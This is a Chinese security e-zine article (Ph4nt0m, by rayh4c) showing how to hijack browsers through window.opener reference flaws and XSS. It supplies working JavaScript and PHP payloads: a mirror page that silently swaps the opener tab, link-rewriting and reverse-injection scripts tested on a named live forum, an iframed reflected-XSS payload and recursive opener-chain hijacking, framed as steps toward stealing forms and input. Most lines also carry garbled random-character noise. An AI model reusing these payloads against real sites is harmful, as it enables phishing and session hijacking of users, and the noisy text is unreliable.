==Ph4nt0m Security Team==
. }: x8 T# [2 p
, I# `* c% @& q Issue 0x03, Phile #0x05 of 0x07
9 g$ k' e% y3 v- u: x- _
5 t: d( Z3 ^! u8 Y/ ~' w) s4 Q! @. d- V5 v+ x% h& }- n$ p
|=---------------------------------------------------------------------------=|- a" F$ I: r2 o( _
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|6 `; \; P/ g& t' M( Z& P
|=---------------------------------------------------------------------------=|# {3 w1 A+ X- x" K+ j2 {& P+ d4 }" ]
|=---------------------------------------------------------------------------=|9 @0 R* r1 b+ f" S7 M/ w9 O9 j
|=------------------------=[ By rayh4c ]=---------------------------=|
4 Y- O, o, R- `: w( {|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
, W- y$ n$ r* t I/ N|=---------------------------------------------------------------------------=|5 ^1 |2 z4 c# ~3 y* J# g
( z8 u1 r( I( p. L9 E# r8 E' }
6 P- ^) S; u2 o
[目录]4 \# P" v" \8 Q/ X s: s3 E. j& f
" {# R2 N7 a7 D( N) r! N X1. 前言
0 y" ?( @1 P$ B9 r6 v4 |9 L5 t- ?2. 同源策略简叙0 V1 T& e$ ^2 I7 V# i+ B' U
3. 理解window对象的同源策略2 ?, ~5 \3 M) M7 c' L& Q0 G
4. 窗口引用功能中的同源策略漏洞# p& `- Q7 S7 o7 `8 u$ o
4.1 父窗口引用子窗口的同源策略问题' P- x, i9 w7 i) D" `
4.2 子窗口引用父窗口的同源策略问题! g' x& o" {# Z; Q8 N5 [! E
5. 利用窗口引用漏洞劫持浏览器. A7 p ]( z) j" y3 W
6. 利用XSS漏洞劫持浏览器
) ^7 w# ?8 _( H" d& D3 ?9 V 6.1 正向跨窗口劫持
4 L( R: p+ Z0 Z6 T4 N/ Z/ B- N: d 6.2 反向跨窗口劫持
6 e& ~- w! F( N3 j/ B4 k' }+ g 6.3 极度危险的跨框架窗口引用劫持4 \( A h: p! a% W6 k% s
6.4 极度危险的正反向跨窗口递归劫持
& u6 \3 }. Y9 R3 A/ l 6.5 完全控制浏览器
9 H( D8 X7 Q1 N3 N% `; \7 \# }7. 后记
R! Y4 r( `3 g1 `9 X! w3 |8. 参考1 z" m& ?% a+ O A
, c0 W+ P% T; ]4 k
( l/ C: O2 P" b; w% l5 H) J
一、前言' ]+ c, z$ H/ \7 G. O6 d- T
3 s/ t8 w- {# F2 a
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋 s! ~' [. D x! Y
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
; `. c# Y8 P5 l; T# A0 G, d6 X劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
4 P) y& [ p2 ~/ h条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。, m9 @6 T ]0 X4 a9 _) o, k
r) y) W8 w3 B. C: A
7 ~* v% ] I( `# A/ y二、同源策略简叙
8 i" X; G, d3 @* H
. _- J% d% i" B 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以" M8 B7 G* |4 u3 W$ r
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
' C7 K [, n. J: \4 l曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
. M& f* R5 C; S, Y. J# `马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个! \) k& v7 r z/ g7 g& }
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
( G6 e+ N3 t' k. Q. d, v7 G3 D# [ Z( ^4 ^" Z
+ n' K |0 a4 S/ I
三、理解window对象的同源策略5 o% d+ U! U, i. n2 H7 E- S% Y0 {
( w! M0 ~9 [9 O+ s7 w2 k0 N
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
2 x* K6 ?3 {6 Y7 z, n9 T& s g象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
5 t+ w4 W# n1 R/ R, j- _& J4 V2 i$ E- {/ M
--code-------------------------------------------------------------------------& @ r' J8 p7 _% W5 Y0 J
<script language="javascript">
* ^2 s+ b2 s5 y! M1 S. l. h; `for(p in window) document.write(p+"<br>");
- M8 G3 ?" ?" q- n* F</script>
. f! Y2 v2 |1 q% H" a6 h-------------------------------------------------------------------------------
8 g9 C7 f3 r/ @+ z5 `, K* A3 B, @4 b% ~; w4 R
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方' Q. W- W$ i0 W) s5 {4 F
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
+ I: e' C6 D6 s2 b9 H这些属性和方法就必须遵循同源策略。0 v0 I# ?; X9 J9 G9 _: d
* }2 {7 @% t/ \# m# B
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那5 o1 {" m7 `8 Q' s( q6 F8 Y
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
4 V( l, B# t+ u3 x8 U$ r6 v0 u的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这* K) b0 P2 e2 x2 s; P
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的: J* e/ ^, {. ?. C
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
, r( d( y2 f; g属性并没有被拒绝访问。
: x) r9 n$ b# e2 W8 ^+ H" q8 n+ Q. n$ ]
--demo.html--------------------------------------------------------------------* Q* u1 v. ?4 d! J4 b X+ m$ W/ @
<script language="javascript">
; E j3 i8 [1 A2 nfunction allPrpos(obj) {
$ K3 g# P( K7 s" s$ ] var props = "<table><tr><td>名称</td><td>值</td>"; " J0 k; T& ]& R+ q- s: C$ Z, N
for(var p in obj){
) i8 ^; q$ R2 {) D& } if(typeof(obj[p])=="function"){ 8 I! Y9 n" f* ~1 Q; e6 @' p
obj[p]();
6 \ l$ U3 Y! ?7 a. H$ G: t% [ }else{ ) f0 M: n: S7 R |- c8 T3 y4 G' E8 ~
try
- B# t7 v& M( J0 @% \0 g {
- C$ ~. e3 \: k. D9 j7 J' Z props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 5 f5 i0 |! c1 T
}
/ D% [7 B! V' D6 X% L catch (ex) " _1 e) E- y5 ]5 E) R" E
{ ) w9 B, q, M( P5 i6 Z5 ?
2 R4 V. G( a: A, Z, ? props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
; W' [7 h/ q* V6 M+ N' k& ` } 9 R G7 y0 |1 t' o4 V R
9 k0 p3 p5 i; d8 } }
) I# n Y8 |! x. c/ B! s- S. v }
+ {9 d7 i3 d7 t H8 T0 {- `
* P: G- s8 A4 d4 j. K0 c$ V document.write(props+"</table>"); & L0 d( a1 i- Z \, r& k
}
! X" a9 _) f ^# n4 |
+ c2 C, H, w1 V# B0 Xfunction createWin() {
$ R* V! v( G$ y% _. S1 R3 { newWin = window.open ("http://www.google.com"); . ^ X" g0 R9 q7 H
setTimeout(function(){allPrpos(newWin)},2000);
$ E m6 I" u% N! B, n- d4 z% ^} ; J7 ~ q: C# ?; R
+ v, F& j1 S5 J; X# W8 v
</script>
$ z9 i/ R7 \" l; z0 X! n6 D2 \/ N4 G6 L
<button onclick='createWin()'>创建一个非同源子窗口测试</button>2 O3 p5 d" N. B( q" Q
-------------------------------------------------------------------------------
a# p7 _5 E5 t) [6 S' ^/ X0 p/ x1 k, a, t" o4 y$ b
+ n% K9 n- b p6 j四、窗口引用功能中的同源策略漏洞% q7 X" \* M( v; F5 u+ P
" L S* y% Y! Q
4.1 父窗口引用子窗口的同源策略问题2 p4 G0 c6 z( f9 l
: G' Q/ z. Q% ? 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
$ D, W. I7 I. h, Y5 |8 E1 y但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
) R5 e2 j, P2 ^* N. h; v浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进. s" X, _9 Z0 P
行测试,会发现父窗口可以控制非同源子窗口location属性值。& F6 P$ v+ \" f) B2 V' ^
) ]; E. x, _. A2 f# v
--vul1.html--------------------------------------------------------------------/ Z9 Z5 W1 ?) N; X
<script language="javascript">
2 N% d4 ^ Y5 M5 @4 e" Ifunction createWin() { , c* Z+ @9 h9 M) E5 W. A
newWin = window.open ("http://www.google.com");
) M7 R7 n& t% D6 F' p5 c. n( o# M setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 2 R& D2 M; U! b$ r0 d R6 z2 R- H
} ; R5 o+ N. y9 v* o: F9 w% F9 Y
</script>" L) y% |' `5 e, V
9 M- y1 I& h) a! S; B<button onclick='createWin()'>创建一个非同源子窗口测试</button>1 y l1 J0 }) R" Z# x, M1 a" Q/ f
-------------------------------------------------------------------------------' i- g2 n8 T! a! v# J9 y
+ G; r. B. U/ Y+ _# h, K4 c5 t3 l, b/ a( ^% R! v
4.2 子窗口引用父窗口的同源策略问题1 b7 D1 w6 y2 F6 Z0 h
2 H8 n0 T& B2 k+ [ 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
: i# @1 A% g3 b% n% @* _3 L用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们# Z; r0 N" |& @; P4 k) J$ A) C5 X
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
1 d# W `, L& T7 C& u. f会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
( O. O) t& I6 t0 h, [3 X" Z, i
# _% `! _) i: j--code-------------------------------------------------------------------------
6 u k, m1 t9 j) d# O! `# @" N" ^' b& H: s, `7 d; c" b
javascript:window.opener.location = "http://www.80sec.com";void(0);
" O+ Z5 v2 x" p1 x- s$ D* F5 m6 _% o% |8 k$ T, Z0 T3 n' q7 U
-------------------------------------------------------------------------------. a- i% A( h/ Z* Z! ^
+ {. ^, b* [/ w1 L) r! U: X( [+ ]
: Z4 M8 p" V% a; [3 ~五、利用窗口引用漏洞劫持浏览器
1 H( C& L$ R% e
' F' W& s% K1 u3 ~3 y$ J 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子8 J' ^- `2 V8 Z. g* N8 R0 E
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那( z% h- U! y6 o* G+ L% J n
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
* f r3 E4 j7 m( {7 ?5 T3 B; R$ o
' B* l6 X) f9 ? 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产$ T4 c6 [3 |" x1 D8 V8 n+ s6 X; Z" k
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
4 e9 d" c. w) W2 e者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接2 B6 L5 w3 u, E0 ]
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下0 h0 _2 @8 Q4 x- a9 T
会产生什么可怕的后果。
+ O$ {! O$ _7 d, ?3 p$ V
b6 p2 y. U! s% C0 m- l3 n, S; A 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
# Y2 l o9 _8 p; {7 @, v们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php* h9 G( m. Q0 P8 E7 f& p
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时) t% g0 E" C" g# n, Y
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可8 G2 p e3 |4 W% V6 A; a: o# o
以做更多的事情,所有的一切仅仅是因为点击了一个链接。9 r3 i7 f3 h6 S2 W, Q# Z3 u, f2 k
) V, [" u3 F9 g! @) f--hjk_ref.php------------------------------------------------------------------
7 s1 F# w7 j. }# s0 z<?php
, e: w1 ?* q1 m4 I' `if (array_key_exists("HTTP_REFERER", $_SERVER)) {
; y5 L0 a" C& v- A) b7 ^$Url_Mirror = $_SERVER["HTTP_REFERER"];% |1 e# j; T& l: |- N
}
* Q8 L/ W; z# dif(isset ($_GET['ref'])) {
2 ~* b& C' A1 i# g( @( \echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';8 u7 ]+ X m$ E
}
3 h) ^; ?, }# w+ |?>
( u. i/ j, k$ g2 p' V- B) B
9 P! G& V* j! ~) u6 z0 M! E5 y<script language="javascript">
* c$ O; r0 T$ y+ `setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
* y# ~1 h* b4 {. a</script>
! V2 z: U( d1 W4 z* G/ a F5 |-------------------------------------------------------------------------------
$ q# q2 T# c8 p% S. K
w# x* _( }7 K+ B, Y. S 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
* y- k/ q1 H. m
7 x" H' d" @7 O% r( A* ]. H4 |
) P+ X: J6 `% F. i六、利用XSS漏洞劫持浏览器
- F9 E! s% @# R) \ Q* n5 y9 v5 v8 D1 z+ K! ~" }: U
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为# p% a; D6 l' c( Y$ e: m
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后$ b0 b& r- p6 B# C U
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
! H: e8 C. v' _; t% \7 ~ E4 z6 x讨论跨站师的终极技巧:
# u# T6 X4 E5 E/ v9 w4 m+ F! X( x c0 ]7 q6 H: E$ U( O
1 U' @, s! N" t& }
6.1 正向跨窗口劫持& M( n9 V }, W3 O
3 r2 t( l& [: ^: C 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
! G% f8 l3 q; D4 J主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链( V7 B0 k& [1 O6 w6 }
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话) n# E; u5 y+ Y* F4 O' ~1 Q& Q4 A
框脚本。
2 q0 t/ B- j/ C) a, j, Z: H* R& Y
! |* G/ C5 K! ~--hijack_open.js---------------------------------------------------------------# g" V' I, o6 V( R6 H1 f7 j
/ q# \( t! y4 y( K) J
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
1 L* J7 x- s. W S
1 H- c; `/ Z* ^, d-------------------------------------------------------------------------------* O6 {3 }( j8 p) v
9 q! V- {1 T9 K' h( T* G* t# K1 D( s1 _2 T9 j, ~8 X# Z
6.2 反向跨窗口劫持- z$ K0 X0 O- u6 ~& U1 b
3 ?& S% q# z" O1 r
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
9 v; c e8 }' d7 j' g* z码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
9 c! {* r% F& z7 l框脚本。
/ J; S$ L; z3 d$ B# _- h4 B1 u2 ^: A2 F4 y. ]
--hijack_opener.js-------------------------------------------------------------5 X- h2 R( w# c% y3 |# q
0 X0 R8 p: [' t; U3 f
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);; U( A1 Q8 P! l" b
3 e6 ]- {: ~* A7 z/ [' y
-------------------------------------------------------------------------------
0 U: s$ _# T) s+ u4 ]
5 h7 Z- K) n& |" e, `2 A9 X+ p+ m; d, }8 C+ r2 A, `( ~. L
6.3 极度危险的跨框架窗口引用劫持# y1 G$ N9 H) w# |3 S# {
$ y4 ^6 K( d7 G* k 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞& _4 }, F- I, L$ K" Y5 r4 S
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就0 V0 `6 n( U6 D% X, E) W1 W G
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
' T }/ R+ g( y1 N0 X2 M非持久型的XSS,如下:
9 P* }4 i0 f) l- Y& D( ?% Z, t8 _
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>' W; B# j8 {. z
& w0 ~. v2 o) G7 c' G
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口* g( N& j# Q' S7 Z/ V
注入脚本。
. [9 f; s7 m/ N- \/ s: l2 t) A2 `8 l
--hijack_frame_opener.js-------------------------------------------------------
( Y }0 l, [" \! W) G( X4 a4 B! S<script>
# q: h' q; t# c3 Owindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";4 |- ?# Q' T2 j8 E2 h9 q" b8 s
</script>
2 Q5 H* l2 |, w* W5 u* ?-------------------------------------------------------------------------------- ?7 }" M2 g0 `# ]/ p( L
7 {! l7 u) S3 Y0 h
$ z0 H. b4 r* Z( t% y6.4 极度危险的正反向跨窗口递归劫持' J) m; m! `1 g
9 w+ E2 g5 W9 d
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
2 V# b- f- J+ e% g6 ~5 U# l% L2 ?4 I的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
( S% J0 P4 C! \# C4 {异常处理规避之间跨域页面的访问异常,代码如下:6 U: }( G! x. M! F
) w* ^" q2 ]; r. X' \( c. D- x
--code-------------------------------------------------------------------------
0 e6 ?* w4 I/ o/ V! }) [
4 m% {9 c0 D) ~javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);8 q' o/ A9 M; a/ V9 f
7 T# F( t7 k( Z7 k) ]9 v-------------------------------------------------------------------------------" Z0 f% k1 v; h3 c
9 @/ }# e+ t F4 V
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
" [6 O8 e" M7 ~# {以劫持B域之前的A域页面,从而实现“隔空打击”。
* Z' g; p' L" p& ]" X
' Z6 `+ ?, _0 x+ @) ?$ B- c/ E: D3 t1 v* E 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面( T2 m" {5 t) e# O! e, v
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。4 q+ F& C5 m2 V+ N) b& P9 ]" c! M U
) s) o( h+ g( m, t; o/ \
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
8 G* B4 M8 `5 q# |" [
. j/ e! z9 H- ?2 [! E3 [, V# x0 [8 ^( b% q4 I6 r! H V% Z
6.5 完全控制浏览器
9 x0 q" a+ S A, E/ F0 P. a
- C8 V. Z' j2 Q$ e# ~ 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则8 E; } Z! x( x+ A5 Q5 f. q5 r. v5 V
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
+ E) ?- L) E0 t j6 G ^漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失1 v, e! m# D, Y! N0 r& }
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
( e5 I5 Q1 Z6 T8 q l( r5 ~列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
: w# J9 P4 l! J3 u# K$ D) ~3 x师的终极目标 - 完全控制浏览器。3 |% H& |; s1 G' D. c* a
2 i; F) K2 S A7 O. @
1 K, J0 B- w4 @8 {' ?七、后记9 ^% I6 C/ Z, g% [' U$ }
6 ^4 Z0 n1 u2 }. ]: i
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
. a6 v% v6 V& B. m/ U* P ]与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
8 F2 Q+ c% P5 E5 Q7 @5 e过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。! L$ R0 i. F) n- o# t3 s9 V
! l" B" e: J, f8 O( C6 C B* `7 l3 C4 K! j7 [* @) |; L
八、参考
A( W* K5 z$ H C) o
! X9 b! j- ?8 `. T3 ]) o1. http://en.wikipedia.org/wiki/Same_origin_policy
0 p6 z6 ?+ z. O- L) @; i2. http://code.google.com/p/browser ... licy_for_DOM_access
* N7 Z1 l! E6 c0 E3. http://www.w3.org/TR/Window/: T: C- G# l$ X" ^
4. http://www.80sec.com/release/browser-hijacking.txt0 r" q% f% U3 C" m, X. K* F+ H
5. http://www.80sec.com/all-browser-security-alert.html
4 Y; ~2 E2 g* i4 ?" I5 H' Y6. http://www.80sec.com/ms08-058-attacks-google.html
+ K/ _4 p/ N7 Z' l/ K
( J; y; \ E5 A7 u3 c' n" I/ c: n" H-EOF- |